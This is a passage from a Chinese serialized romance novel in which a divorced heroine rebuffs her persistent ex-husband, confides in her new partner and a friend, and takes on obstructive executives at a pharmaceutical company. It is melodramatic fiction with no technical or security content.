她扯了扯嘴角,“扯淡吧?沈媛媛有个交往了七年的男朋友,感情稳定都快谈婚论嫁了,怎么可能突然喜欢上我?我怀疑就是柯兴昌在背后捣鬼。我已经安排人去查他了,只不过很难。”
提到柯兴昌,唐梵的眼神暗了下去,被最亲近之人背叛太令人寒心了。
舒星若虽然也觉得沈媛媛给出的理由太过牵强,但柯兴昌那副儒雅商人的模样,实在不像能做出买**妻这种事的人。
她忙安抚道:“唐姐你先别急,也不一定。你派人去查查沈媛媛近几个月的银行账户和消费记录,如果真拿了钱,总会露出马脚的。”
“没用的,”唐梵颓然道,“柯兴昌的心思缜密,做事周全。他如果真笃定了要害我,绝不会用自己的账户,更不会留下任何直接的证据。”
看着唐梵被愤怒和无力感包裹,舒星若的脑子却飞快地运转起来。
她手指轻轻敲着床沿,片刻后,灵光一闪。
“假如真是他们合谋,沈媛媛死不开口,无非就两个原因。”
唐梵猛地抬头看她,混沌的思绪仿佛被一道光劈开。她因为过于生气,确实忽略了从沈媛媛身上找突破口。
“哪两个原因?”
舒星若将用过的银针一根根收回针囊,动作不紧不慢,透着一股胸有成竹的镇定:“要么,是柯兴昌给的利益足够大,大到她愿意用自己的前途甚至自由去换。要么,就是沈媛媛深爱他,爱他爱到可以为他舍弃一切,包括自己的性命。”
舒星若顿了顿,抬眼看向唐梵,话里带着一丝玩味:“你觉得,柯兴昌有那么大的魅力吗?”
一个已婚的中年男人,能让一个二十几岁的年轻姑娘这么死心塌地?舒星若第一个不信。
唐梵眼神一凛:“破解之法呢?”
“简单。”舒星若想了想,唇角勾起一抹狡黠的笑,“先按第一种可能来。别光查沈媛媛的账户,去查她家里人,她父母、兄弟姐妹,最近有没有突然换车、买房,或者添置什么贵重物品。人有了横财,是不可能忍住不花的。只要生活水平有明显提高,就一定是拿了钱。到时候逮住他们逼问,不怕他们不说实话。”
唐梵继续问道:“那如果她家里人生活没有变化呢?”
“那就是第二种情况,为爱痴狂了。”舒星若的笑容更深了,“那就更简单了。你就去找最好的特效技术团队,就是给电影做后期那种,合成一段以假乱真的视频。内容嘛,就拍柯兴昌跟别的年轻姑娘搂搂抱抱,亲密无间。想办法让沈媛媛看到。一个为爱牺牲的女人,最看不得的就是男人的背叛。保证她当场破防,哭着喊着把柯兴昌的破事全抖出来。”
唐梵听得一愣一愣的,最后对着舒星若竖起了大拇指,是打心底里的佩服。这些招数,她想破脑袋都想不出来。
“星若,你这脑子都是怎么想出这些招的?”
舒星若轻描淡写地耸耸肩,“嗨,跟我那个前夫的绿茶白月光斗久了,熟能生巧,什么都会了。”
唐梵却清楚地知道,这句云淡风轻的背后,是多少个在婚姻里独自挣扎、绝望苦楚的夜晚。
她握住舒星若的手,真诚地说:“星若,愿你以后,能得遇良人。”
舒星若轻笑出声,反拍了拍
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她的手背:“唐姐,我们也一样。如果柯兴昌真的辜负了你,就让他麻溜地滚蛋。没了男人,我们照样能活得精彩。千万别为了个渣男影响心情,耽误了治疗。”
“嗯,我一定会的!”唐梵用力地点头,眼里的阴霾一扫而空,取而代之的是熊熊燃烧的斗志。
聊完八卦,舒星若一身轻松地走出病房,准备去客厅吃早餐。
结果一到餐厅,她差点被气死。
季宴礼一身剪裁得体的高定西装,正人模狗样地端坐在她家的餐桌旁,手里还拿着平板在看财经新闻,仿佛他才是这个家的男主人。
舒星若脱力地翻了个大大的白眼,这狗男人一天天的到底想干什么?
阴魂不散!
她走过去坐下,冷着脸质问:“季宴礼,你是怎么进来的?”
季宴礼放下平板,脸上居然还带着点小得意,指了指旁边埋头吃早餐的儿子:“儿子放我进来的。”
季知许小脸一垮,烦透了。
他挪到舒星若身边,压低声音告状:“妈妈,我是被逼的。爸爸一大早就给我打电话,我挂了他还打,烦**。他说我不让阿姨开门,他就一直打我电话,打到阿姨开门为止。”
舒星若心疼地轻拍儿子的后背,柔声说了句“没事”,再抬眼看向季宴礼时,目光已森冷如冰。
“季总,我警告你,请不要三番五次地来打扰我的生活。你再这样死缠烂打,我就叫保姆把你叉出去,到时候大家脸上都难看。”
季宴礼瞬间收起得意,换上一副倍感委屈的表情,高大的身躯都好像缩水了一圈,“我来陪我儿子吃饭,都不行吗?”
“不行。”舒星若斩钉截铁,“周末是你的探视时间,你可以带他出去玩。工作日,请你不要来骚扰我们。”
季宴礼还想再争辩两句,但在舒星若冰冷的注视下,只好把话咽了回去,闷闷地应了一声:“知道了。”
每天来吃饭,借此修复感情的计划,宣告破产。
不过,不要紧。
他垂下眼帘,看着面前精致的虾饺,还好他有别的计划。
只要锄头挥得好,没有墙角挖不倒。
苏容泽,你就等着舒星若重回我的怀抱吧!
第151章 脸皮厚如城墙的季宴礼
吃完早餐,换好衣服,两个穿着精致可爱校服的小朋友由司机按时送去幼儿园。
临走前,两个小家伙一人一边,在舒星若的脸颊上印下一个响亮的吻。
柯依晴觉得舒星若是她仅此于唐梵的亲人。
季宴礼心想:“我也想亲。”但他怕舒星若再给他一个大逼兜,今天要开会,脸肿了可不行。
舒星若转身走向车库,准备自己开车去瑞祥制药。
苏容泽把他的几辆车子全从白金湾壹号开过来了。
舒星若选了一辆保时捷帕拉梅拉,她刚拉开车门,一道黑影就以迅雷不及掩耳之势,从另一侧闪了进来,稳稳当当坐在了副驾驶上。
车内顿时弥漫开一股淡淡雪松味的男士香水味,舒星若倒吸一口凉气,太阳穴突突直跳。
她面无表情地看向旁边那个西装革履、一脸无辜的男人:“季总,你又想干什么?”
季宴礼熟练地拉过安全带,咔哒一声扣好,姿态轻松得仿佛这是他自己的车:“我的车送去保养了,没车上班,要坐你的。”
舒星若简直要被他这副理所当然的样子气笑了。
她抬手揉了揉眉心,极力克制住把他踹下车的冲动:“大哥,你有五辆车,每一辆都去保养了吗?”
“其他四辆还在家里,就开了这一辆过来。”季宴礼侧头看她,还催促她,“快开车,第一天上班作为CEO不要迟到。”
这人脸皮的厚度,简直堪比**长城。
舒星若狠狠瞪了他一眼,最终还是不情愿地发动了车子。
车子平稳驶出车库,她冷冷地开口:“明天不要坐我的车。”
“好!”季宴礼答应得干脆利落,但压根就没听出她话里的嫌弃和警告。
这是六年来他们第一次同坐一辆车,舒星若对季宴礼这些幼稚到近乎无赖的行为十分困惑。
她看着前面的车,心里一阵烦闷。
难道真的是得不到的就是最好的吗?那他还真是个贱骨头。
一路上,季宴礼像个初次约会的小男生,没话找话地试图跟她聊天。
“今天天气不错。”
“嗯。”
“早上的新闻看了吗?北美那边又降息了。”
“是的。”
“中午想吃什么?公司旁边那家淮扬菜不错,我带你去吃。”
“好。”
“那中午一起吃饭。”
“啊?”舒星若这才反应过来。
她本能的抗拒:“中午我跟安禾一起吃饭。”这次不是借口,是林安禾发微信约的。
季宴礼不悦:“我不是说你可以带我见你闺蜜吗?我见不了人吗?”
舒星若极度无语:“安禾说有事找我说,你在不方便。”
“那好吧!明天中午我再请你吃饭。”
“再说吧!”跟他一起吃饭,舒星若怕自己会食不下咽。
车子终于开到了季氏大楼的车库,言永飞早早就给她安排了专用停车位,昨晚已经将号码发到她手机上了。
下车之后,舒星若觉得地库里的空气都比车内清新一百倍,毕竟可以离季宴礼远点。
季宴礼却认为自己度过了一个美妙绝伦的早上,他甚至已经开始幻想,用不了三个月,他就可以每天都跟舒星若这样共同出入,像正常的夫妻一样。
想着想着,脸上挂上了春风得意的笑容,看得舒星若胃里一阵翻江倒海。
她心里骂道:“想屁吃呢?”
言永飞早就在总裁专用梯口毕恭毕敬地等着了。
当他看到季宴礼从舒星若车上下来,紧接着,言永飞的职业假笑瞬间僵在脸上,下巴差点惊得脱臼。
总裁这是什么神仙操作,还真把舒星若弄到瑞祥来上班了?而且还是坐着她的车一起来的?
言永飞悄悄瞥了一眼面色冷若冰霜、一言不发的舒星若,心里涌起无限的同情。
在季总这种不达目的不罢休的牛皮糖攻势下,她的日子怕是不好过啊。
“叮”的一声,总裁专用电梯到了。季宴礼侧身,做出一个“请”的手势,非要让舒星若与他共乘。
舒星若看都没看他一眼,转身,脚步飞快地走向另一边的员工电梯,在门关上的前一秒光速钻了进去,把季宴礼和他的得意笑容远远甩在身后。
再跟他一起待久了,自己真要窒息了。
到了瑞祥制药,黄丽歌早早到了。
她不仅人到了,还已经和前任助理交接好了所有工作,甚至连舒星若办公室的绿植都换成了她喜欢的海棠花。
舒星若看着眼前这个干劲十足的小姑娘,心里舒服了不少,夸道:“你可以啊,这么醒目。”拿出手机给黄丽歌发了一个888的红包,黄丽歌小脸笑成了花。
“谢谢舒总,爱死你了。”大清早的收到红包,黄丽歌眉开眼笑,“您都带我过来了,我肯定要给您长脸啊!不能让别人小瞧了我们行止生物出来的人。”
她将舒星若今天要处理的文件,已经按照紧急和重要的优先等级,在办公桌上一字排开,旁边还泡好了一杯温度正好的花茶。
舒星若开始埋头工作。
她
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的公司邮箱里,昨晚深夜就收到了总裁办亲自下发的任命通知,签发人正是季宴礼。
这封邮件还抄送给了集团所有高管。
一时间,集团内部的八卦之火熊熊燃起,大家纷纷猜测,这是季宴礼回心转意,要捧前妻季太太上位了。
不过,鉴于行止生物那份亮眼到刺目的业绩报告,瑞祥制药的管理层对她这个有能力的“关系户”倒也没什么反对意见,反而多了几分期待。
希望她让瑞祥更上一层楼。
舒星若工作了整整一上午,从项目进度到财务报表,看得越仔细,她越发现不对劲。
假如真像传言中那样,岑茵蘅为了钱贩卖公司机密,那她经手的项目和事务,或多或少都会留下一些混乱的痕迹,甚至可能是个烂摊子。
但是并没有,一切都有条不紊,甚至可以说是井然有序。
舒星若特意调出了新药的全部资料,又联系了药厂那边的负责人视频通话,询问生产线的进度。
得到的回应是,一切都是按照最优方案在有序推进,所有环节衔接得天衣无缝,不出意外的话,新药半个月后就可以如期开发布会了。
这根本不像是一个核心高管被突然“拿下”后该有的样子。
舒星若放下手里的文件,疲惫地揉了揉太阳穴,一个荒谬却又极度合理的猜测浮上心头:“难道岑茵蘅是被季宴礼陷害的?”
虽然她不喜欢岑茵蘅对自己的敌视,但如果只是为了让她回来,就给人家扣上这么大一顶莫须有的罪名,那也太无辜,手段也太卑劣了。
岑茵蘅也太可怜了。
季宴礼为了跟自己复合,还真是无所不用其极。
舒星若摇了摇头,对自己这位前夫感到一阵深刻的无语。
他怎么就始终过不去这段婚姻了呢?明明当初不珍惜的人是他自己。
正当她叹息之际,手机屏幕亮了起来,苏容泽的电话打了进来。
此时的苏容泽刚忙完上午的工作,第一时间就想舒星若了。
他担心她第一天来季氏集团上班会不习惯,更担心季宴礼那小子会仗着同在一栋楼里办公,想尽办法与她独处。
电话一接通,苏容泽爽朗温和的声音就传了过来,像一缕阳光,驱散了舒星若心头的丝丝阴霾。
“若若,今天上午感觉如何?”
舒星若靠在椅背上,一直紧绷的神经松懈了些许,语气里带着一丝自嘲和无奈:“工作非常顺利,顺利到我觉得是季宴礼为了让我来,故意把岑茵蘅整走的。”
第152章 何欣犹如地狱恶鬼
苏容泽证实了内心的猜想,季宴礼明晃晃的是要抢人,对舒星若的担忧更甚。
他紧张的问道:“季宴礼没来骚扰你吧?”
“目前还没有,”舒星若说:“但他兜了这么大个圈子,无非是想我跟他复婚。”
听到“复婚”两个字,苏容泽的心都提到了嗓子眼,嗓子干得像被熨斗熨过。
他能听见自己擂鼓般的心跳声,握着手机的手微微颤抖。
“你放心,我不会跟他复婚的,他要是逼迫我,我就立刻走人。”
这话像是一阵春雨,瞬间浇熄了苏容泽心里的燎原大火。
他谨慎的问道:“若若,要是那三款药顺利上市,我要求你离开瑞祥,你愿意吗?”
这是他第一次要求舒星若,他手心都紧张得冒汗,怕她不答应。
这要求太过自私,是在干涉她的事业和人生。他没有任何把握,完全是出于本能的发问。
电话那头沉默了几秒,每一秒对苏容泽而言都无比漫长。
舒星若顿了顿,她听出了他声音里的紧绷和不安。
她内心十分在意苏容泽的想法,柔声说道:“既然是你要求的,我就照办。”
她答应得如此干脆,没有丝毫犹豫。
苏容泽心花怒放,巨大的喜悦冲刷着四肢百骸,让他整个人都轻飘飘的。眼前的一切虚幻得像梦境。
他想不到她这样在意自己,内心一个声音大声呐喊:“她心里有我,而且还很重要。”
狂喜过后,他又觉得自己有点自私,让她放弃事业。
他轻声问道:“行止生物那边有CEO了,离开瑞祥你打算做什么?”
“回行止堂坐诊啊,跟外公继续学医术。”一想到能彻底摆脱季宴礼,做回纯粹的自己,她就抑制不住地开心,清脆的笑声从听筒里传来。
苏容泽被她的笑声触动,所有的顾虑烟消云散,“你这样想就太好了,我先挂了,中午还有个商业宴请。”
“嗯,尽量少喝酒。”
“好,都听你的。”他的声音里满是藏不住的笑意。
挂了电话,舒星若感觉压在心口的一块大石终于落了地。只要苏容泽对自己放心,一切皆安。
她下楼准备出门,跟林安禾约在一家刺身店。刚到楼下,林安禾就发微信说路上堵车,可能要晚一点点。
舒星若看了看时间,发现旁边正好有一家周氏金店,装潢得金碧辉煌。
她心念一动,抬步走了进去。快过年了,正好给安禾挑个礼物。
店里琳琅满目,舒星若一眼就相中了一个足足五十克的黄金手镯。
手镯造型卷曲圆润,外观富丽华美,大气典雅。
柜姐热情介绍,手镯以唐草纹为设计元素,寓意生生不息,福瑞吉祥。上面雕刻了盛放的牡丹花纹路,寓意尊贵繁荣,坚韧不屈。
舒星若越看越觉得这手镯简直是为林安禾量身定做的,她那个张扬又热烈的性子,就该配这种富贵逼人的东西。
当即刷卡买下。
买完手镯到刺身店,林安禾刚停好车,风风火火地走进来。
舒星若将精美的礼盒递给她:“喏,提前送你的新年礼物。”
林安禾眼睛一亮,夸张地叫了一声:“咱俩怎么这么有默契?不行,你先看我的!”
她神神秘秘地从袋子里拿出一个大盒子,打开来,里面是一件定制的新中式蓝丝绒刺绣旗袍和一件纯白的皮草斗篷。
旗袍的丝绒在灯光下泛着幽蓝的光泽,上面用金银丝线绣着繁复的缠枝莲,为了保暖特意加了内绒。
“你穿上这个,再披上斗篷,活脱脱就是从民国画报里走出来的世家千金大小姐!”林安禾一脸得意,好像已经看到了舒星若惊艳众人的模样。
舒星若打开看了,旗袍的质感和刺绣的精美让她爱不释手,“你每年送我的新年礼物都深得我心。”
林安禾得意地一挑眉:“你又何尝不是呢?”她已经迫不及待的把手镯戴上了。
说话间,刺身陆续上齐,顶级的蓝鳍金枪鱼大腹切得厚薄均匀,粉
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色的鱼肉上分布着雪花般的油脂纹理,光看着就让人食指大动。
两人也不客气,蘸着手磨山葵和酱油,一盘盘地吃了起来。
肥美的鱼生入口即化,甘甜的油脂香气瞬间在口腔中爆开。
“说真的,”林安禾夹起一块鱼片,问舒星若:“你有没有打算跟苏容泽结婚?”
舒星若正品味鲜甜的海胆,“打算啊,他真的很好。只是不想太早,先享受一段时间恋爱时光。好端端的干嘛突然问我这个?”
林安禾喝了一口玄米茶,撇了撇嘴说道:“苏容泽昨天晚上三更半夜打电话骚扰我来着,旁敲侧击地问我你的想法。听他语气,他好像很没有安全感。”
舒星若失笑:“他至于吗?”
“怎么不至于?你回前夫哥的公司上班,是人都知道那货憋着什么屁呢,不就是想跟你复合。”
舒星若淡淡地说:“做他的春秋大梦去。”
林安禾特别不待见季宴礼,一说起他就来气:“就是,白日做梦!苏容泽比他强了一万倍好吗?人家可没什么乱七八糟的白月光朱砂痣,跟你在一起就一心一意。从不将你藏着掖着,恨不得昭告天下你是他女朋友,从不发朋友圈的人,现在都快秀成连续剧了。”
想到苏容泽那些幼稚又真诚的秀恩爱行为,舒星若就觉得心里暖洋洋的,这个男人确实太好了。
林安禾突然想起一件事,表情变得有些古怪。
她放下筷子,打开手机翻了一会,找到一些照片,递给舒星若看。
“你看看这个,年度惊悚大片。”
舒星若凑过去一看,照片里的人她几乎快认不出来了。
女人脸淤青浮肿,嘴角破裂,眼睛肿得只剩一条缝,头发凌乱地粘在血污上,惊悚得像一只从地狱里爬出来的恶鬼。
舒星若辨认了许久,才从那依稀的轮廓里看出是何欣。
舒星若惊异:“这是何欣,她怎么成了这副鬼样子?”
林安禾压说:“都是季宴礼的手笔。”
第153章 赌他们会复婚
舒星若看着何欣那副凄惨的模样,只觉得一股寒气从尾椎骨直冲天灵盖,手里的筷子都差点没拿稳。
胃里一阵翻搅,刚才还觉得美味无比的刺身瞬间变得毫无吸引力。
她不自觉地打了个冷战:“季宴礼果然爱憎分明,爱的时候能把人宠上天,恨的时候就真的能把人踩进泥里。我可不想再待在他身边,太可怕了。”
这个男人,骨子里就带着一股毁天灭地的疯狂。她现在无比庆幸,自己已经逃离了那个漩涡。
林安禾说:“倒也不能怪季宴礼心狠手辣,是何欣使劲憋着不说害你的幕后主使。她恨透了你,知道自己没指望了,索性就不说了。”
“我特别担心那人会对付你。我托了很多人查都没查到,不知道是何方神圣,这么会隐藏的。”
高山远长本事了,季宴礼和林安禾都没查到。
舒星若说:“是高山远,苏容泽已经查出来了。”
得知整件事之后,林安禾气得直跳脚,声音大得像是要掀翻天花板:“高山远这个王八犊子,脑子里装的都是粪吗?当初要不是你,他早就不知道在哪个犄角旮旯里发霉了,现在竟然恩将仇报。真是喂不熟的白眼狼!”
林安禾骂骂咧咧好一阵,才把重点绕回来:“不过话说回来,苏容泽可真是爱你。为了给你消除后顾之忧,竟然能放下身段去跟季宴礼那个死对头合作,这绝对是真爱了。”
“嗯,可不是呢?”舒星若心底涌上一股复杂难言的暖流。
苏容泽的这份情谊,沉甸甸的,让她无法忽视。或许,安安稳稳地嫁给这个爱自己入骨的男人,才是最正确的选择。
得夫如此,夫复何求?
这个念头一旦冒出来,就像藤蔓一样开始疯长。
舒星若恍惚间觉得,或许真的是命运之神终于睁眼,在她经历了季宴礼带来的**后,将苏容泽这个温暖的港湾送到了她面前。
林安禾看出她眼中的爱意,轻拍她的肩膀:“姐妹,既然爱他,可以勇敢一点。”
舒星若点点头:“我试试。”
当年她义无反顾的嫁给季宴礼,林安禾强烈反对,她觉得舒星若嫁过去会吃尽爱情的苦头。
结果真的一语成谶。
如今的苏容泽跟季宴礼完全不一样,连林安禾这个不婚主义者都赞同了。
回到瑞祥的办公室,舒星若立刻让黄丽歌召集了管理层开会。
会议室里,一众西装革履的高管们正襟危坐,目光齐刷刷地落在主位上。
舒星若简单地做了个自我介绍,话音未落,营销总监就满脸堆笑地接了话:“舒总太客气了,谁不认识您啊,咱们季总的太太,哦,不,前总裁夫人。”
他一声“前”字说得含含糊糊,后面的“总裁夫人”却格外响亮,引来一片心照不宣的附和。
在他们看来,这位前妻杀回集团总部,执掌瑞祥制药,主导新药上市,明摆着是总裁后悔了。
按这架势,舒星若坐回总裁夫人的位置,不过是时间问题。
舒星若只当没听见那点弦外之音,面色不变地切入正题,将自己对公司未来的改革方案和盘托出。
“我认为,瑞祥目前的营销费用占比过高,尤其是针对医院的公关费用,存在大量灰色地带和不必要的开支。我建议,明年营销预算缩减百分之三十,这部分资金,全部投入到新药的研发中去。”
“另外,我们的一些常用药,完全可以主动和医保部门谈判,争取降价纳入医保目录。这不仅是履行社会责任,更是为品牌建立最扎实的口碑。我们要让瑞祥的药,成为老百姓信得过、用得起的好药。”
她的话掷地有声,会议室里却是一片诡异的寂静。
高管们面面相觑,脸上的笑容都僵住了。
砍公关费用、主动降价进医保、这不等于断大家的财路吗?
财务总监**平清了清嗓子,小心翼翼地提醒:“舒总,您这个改革动静太大了。按照规定,这么重大的战略调整,必须上报集团,得到季总的亲自批准才行。”
言下之意,你一个女人,就算要复宠,也别太把自己当回事,这公司终究姓季。
舒星若像是没听出他的敲打,坦然点头:“我知道。所以我现在开会,就是想听听各位的意见,如果大家都认可我的方向,我
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再去向季总提报。”
她的目光扫过全场,那群刚才还满脸谄媚的职场老油条们,此刻一个个眼观鼻鼻观心,谁也不出声。
认可?谁敢说认可或者不认可?
谁又敢当面得罪这位未来的总裁夫人。季总可是个冷面阎王,谁会去惹他的晦气?
看着他们那副样子,舒星若心里暗自摇头。
这帮人,远不如自己行止生物的团队。
在行止,大家有话直说,为了一个方案能吵得脸红脖子粗,但那都是为了工作。
平时是朋友,工作时是伙伴,那才有干事业的劲头。
也罢,道不同不相为谋。
散会后,舒星若直接给言永飞打电话:“言助,请问季总现在有空吗?我这边有瑞祥的改革方案,需要当面向他汇报。”
电话那头的言永飞脱口而出:“太太……啊不,舒总,舒总您稍等!季总有空的,您随时可以上来。”
季宴礼早就交代过,只要是舒星若,任何时间、任何事情,都直接放行。
舒星若吃一堑长一智,叫上了助理黄丽歌一起。
她可不想再给季宴礼任何单独相处、让他发疯的机会。
言永飞亲自在总裁办公室门口迎接,恭敬地推开门。
季宴礼正对着电脑开视频会议,流利的英文带着上位者的强势。
他看到舒星若,只是抬手挥了挥,示意她稍等,便继续会议。
舒星若和黄丽歌在会客区的沙发上坐下。
黄丽歌眼尖,一眼就看到了茶几上摆着的精致盒子,里面装的,赫然是她们公司行止生物主打的花草茶和中药糕点。
她立刻拿出手机,心照不宣的跟舒星若在微信上聊天。
黄丽歌:【我刚听说,集团现在开了个赌局,赌你和前夫哥会不会复合,大部分人都买了复合。】
舒星若看着手机,嘴角抽了抽,这帮人是工作太不饱和了吗?
她回道:【你买的什么?】
黄丽歌发来一个得意的表情:【我当然是买不复合,赔率高达1:500。这简直是天上掉馅饼啊!】
舒星若轻笑一声,回了四个字:【包你赚钱。】
第154章 你干什么我都帮你兜底
黄丽歌看到回复,差点没在沙发上笑出声来,整个人都散发着“老娘即将暴富”的快乐气息,看得舒星若也在笑。
这姑娘太可爱了。
季宴礼结束了会议,关掉平板的屏幕。
抬眼看见他们两人在发笑,难道是舒星若被自己强大的魅力吸引了?
嗯,以后可以多让舒星若来观摩自己工作时的气场。
那必须是荷尔蒙爆棚。
季宴礼起身走到沙发边,高大的身影带来一片阴影,他那双深邃的眼眸里带着几分不易察觉的柔和,眉梢轻轻一挑,声音低沉而熟稔:“星若,找我什么事?”
这一声“星若”,亲昵得仿佛他们从未分开过。
舒星若放在膝上的手不自觉地收紧,她抬起头,迎上他的目光,站起身来。
脸上是公事公办的严肃表情,声音清冷而疏离:“季总,在公司,请您叫我小舒,或者舒星若。我们现在只是上下级的关系。”
她说完,将手中的文件递给他。
“我找你,只为公事。”摆明了要和他划清界限。
季宴礼心里像是被塞了一团湿棉花,又堵又闷。
他沉着脸接过文件,从牙缝里挤出几个字:“知道了。”
他的目光越过文件,落在舒星若身旁的黄丽歌身上,像两道探照灯,带着审视和不悦。
他沉声说道:“来汇报事情还要带个保镖吗?我又不会吃了你。”
舒星若眼皮都未抬一下,语气平淡:“君子不立于危墙之下。”
这句话像一记无声的耳光,抽在季宴礼脸上。
他就是那堵危墙。
他深吸一口气,压下心头翻涌的情绪,扬了扬手中的文件,用下巴指着黄丽歌:“她在这里,我们怎么谈?更何况我们有协议。”
他不会再乱来了,他必须要重新建立在舒星若心中失去的信任。
这是他如今唯一能抓住她的机会。
舒星若朝黄丽歌点点头,黄丽歌会意,一言不发地退了出去,顺手带上了总裁办公室厚重的实木门。
门“咔哒”一声合上之后,隔绝了外界的一切。
巨大的办公室里只剩下他们两人,空气仿佛都凝滞了。
季宴礼坐回他那张宽大的老板椅上,强迫自己将注意力放在舒星若的改革方案上。
只翻了两页,他眼中的不耐就迅速被惊愕取代,继而变成了掩饰不住的狂喜。
这方案,条理清晰,逻辑缜密,对瑞祥制药内部盘根错节的问题看得一针见血,提出的解决方案更是大刀阔斧,直指核心。
这哪里像是一个做了六年家庭主妇的人能写出来的东西?这分明是一个浸淫商场多年的老手才能有的毒辣眼光。
季宴礼不由得抬头望向舒星若,她就静静地站在那里,神色清冷,面容清丽难言。
他忽然感觉到一阵尖锐的刺痛,为自己的失职,为自己的愚蠢。
同一屋檐下生活了六年,他竟然对她一无所知。他只知道她温柔,隐忍,却不知道她的恬静之下,藏着这样一颗波澜壮阔的脑子。
舒星若被他看得心里发毛,那眼神太复杂,有惊艳,有懊悔,还有她看不懂的灼热。
她下意识地后退了半步,皱眉道:“怎么了,季总,是我的方案有问题吗?”
一声“季总”,像一盆冷水,将季宴礼刚刚升腾起的情感浇了个透心凉。他喉结滚动了一下,声音不自觉地放柔:“星若,对不起,我没有尽到一个丈夫的责任,从未试着去了解过你。”
舒星若感觉头皮一阵发麻,鸡皮疙瘩都快起来了。
这货怎么又开始上演这种八点档的纯情戏码?
她立刻竖起全身的防备,朗声提醒道:“季总,现在是工作时间,请您保持专业。”
季宴礼被噎得说不出话,只好悻悻地低下头,继续看方案。可他越看,心里的高兴就越是压不住。
舒星若来的第一天就发现了瑞祥制药的各种弊病,他身为集团总裁,确实不会盯着子公司的具体事务。
之前岑茵蘅空降过来,碍
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于各方关系,也不敢这样大刀阔斧的改革。
既然舒星若想,那就让她放手去做。
至于动了别人的利益,那算什么事?不怕,他会帮她兜底。
季宴礼拿起笔,在文件末尾龙飞凤舞地签下“同意”二字。
舒星若接过文件,转身就要走,他却忍不住再次开口,叮嘱道:“星若,你这个改革会动很多人的利益,如果遇到阻力,随时可以来找我。我会帮你扫清一切障碍。”
“好的,季总!”标准的下属回答,客气又疏离。
季宴礼头大,感觉自己的一腔热情全都抛给了瞎子看,舒星若对他的细心关怀视若无睹,甚至连一丝情绪波动都没有。
舒星若边走边想:瑞祥里面哪个不开眼的敢给我使绊子,我就把人开了,多大点事。还用得着找你?我要是这么废的话还要不要出来混了?
回到办公室,她立刻给人事部总监打了个电话,声音清脆利落:“把瑞祥所有总监级别以上高管的资料,五分钟之内,发到我的邮箱。”
电话那头的人事总监愣了一下,显然没反应过来。
舒星若没给他反应的时间,补充道:“我的时间很宝贵,黄总监。”
“是是是,舒总,我马上办!”黄宇一个激灵,不敢有丝毫怠慢。
不到三分钟,邮件就躺在了舒星若的邮箱里。
她开始着手准备组建与医保局谈判的团队,目光如炬地筛选着每一个人的履历和背景。
一忙起来,时间就过得飞快。等到她处理完手头最紧急的事务,抬头一看,墙上的时钟已经指向了五点半。
办公室外面的格子间依旧是一片键盘敲击声,加班的氛围非常浓厚。
舒星若却眉头都没皱一下,关掉电脑,拿起自己的包。
手头的工作没有完成,但唐梵的病不能等,她必须回家。
她踩着高跟鞋,在无数道惊诧的目光中,准时下班了。
她前脚刚走出公司大门,瑞祥内部的小群里立马炸开了锅。
第155章 干不了就滚蛋
【我没看错吧,总裁夫人到点就走了?】
【她是来工作的吗?这比我们人事打卡还准时啊!我手里的活儿还堆成山呢!】
【笑死,听说她做了六年的全职家庭主妇,你还指望她能受得了我们这种牛马的生活?】
【人家是总裁夫人,来体验生活罢了,还真想让她当牛马?不可能的。】
【那她自己的公司怎么做起来的?不是说很厉害吗?】
【呵,那还用问?不就是靠着苏容泽帮她直播,炒作起来的吗?一个漂亮女人,能有什么真能耐?沽名钓誉罢了。今天这不就原形毕露了吗?】
【她跟那个苏容泽有一腿,季总怎么受得了?】
【两夫妻各玩各的呗,之前季总不是把那个何欣弄进来当我们老大。季太太出去找男人也不奇怪。】
【嘘,别说了,万一被看见就麻烦了。】
【怕什么,她在群里吗?再说了,换个角度想,她到点就走,我们是不是也不用卷了?下班下班!】
【有道理啊!有了这枚“总裁夫人”免死金牌,以后咱们是不是也能轻松许多?感谢夫人!】
黄丽歌看到这些评论气得浑身发抖,一群人屁也不懂就知道造谣。
幸好舒星若有先见之名,下午安排黄丽歌请他们喝下午茶,混进了小群里。
舒星若接过手机,一目十行地扫过那些聊天记录。
她也不生气,只是在浏览完所有聊天记录后,将手机屏幕熄灭,静静地看了窗外几秒,才问:“那个说我沽名钓誉的人,是项目部的李经理?”
黄丽歌看着她平静的样子,心里更急了:“舒总,他们这么污蔑您,您不生气吗?”
“跟一群只会在背后嚼舌根的人动气,不值得。”
舒星若将手机还给她,淡淡的说道,“他们有一点没说错,我确实第一个下班走人了。”
黄丽歌忿忿不平:“可您的效率比之前那岑茵蘅高了很多,您一个上午处理了那么多积压的文件。真不知道这群混子有什么脸蛐蛐您?”
“效率是我的事,他们看不见,也不在乎。”舒星若转身,嘴角凝结一层寒霜。
“他们只看得见我想让他们看见的东西,既然这么闲,还有功夫在群里聊八卦,看来是工作不够多。”
黄丽歌眼睛一亮,立刻领会了她的意图。
“舒总,您的意思是?”
舒星若果决的说:“你群发一个通知,明天早上九点,通知总监及以上级别管理层开会。谁敢迟到一分钟,让他直接去人事部。”
“还有,”她补充道,“把群里叫得最欢的几个人,特别是项目部的李经理,把他们近半年的KPI、项目进度和考勤记录,单独整理一份,明早开会前给我。”
黄丽歌用力点头,一扫刚才的郁闷,整个人都振奋起来:“好的舒总,保证完成任务!”
叫你们没事造谣,看舒总怎么收拾你们?
舒星若的目光幽深不见底,她心头泛起一阵好笑,怪不得当初季宴礼那么大方将瑞祥给了何欣。
原来是个类似养老院的公司,可以任由何欣折腾。
岑茵蘅来了之后业绩上有所提升,但是她太稚嫩,斗不过那群阳奉阴违的老油条。
当然,她来的时间不够长。
第二天一早,瑞祥制药的会议室里气氛异常肃穆。
所有高管都提前了近一刻钟到场,个个正襟危坐,连交谈声都压得极低。
昨天接到黄丽歌的通知,还有他们打听到的舒星若的一系列的动作,他们明白,舒星若是要动手了。
这位前总裁太太并不是空有皮囊。
九点整,舒星若踩着高跟鞋准时出现,黄丽歌抱着平板紧随其后。
舒星若的视线以飞快的速度扫过全场,径直走向主位坐下。
没有客套的开场白,她将一份文件推向营销总监。
“王总监,解释一下,为什么市场部一场团建的晚宴,能开出比研发部一个季度实验耗材还高的发票?”
王总监的额角瞬间渗出冷汗,慌忙拿起文件,强作镇定地解释:“市场部人多,应酬也多,为了维护客户关系,开销自然会大一些。舒总,您刚来,不了解瑞祥的运行机制。”
他试图唬住舒星若,一个家庭主妇她能懂什么?
舒星若冷笑,“维护客户关系?”抬眼看向黄丽歌。
黄丽歌会意,立刻将平板连接上投影。
屏幕上,一张张金额巨大的餐饮发票和几条可疑的对公账户转账记录,一一展示出来。
“王总监,这些打着‘客户维护’
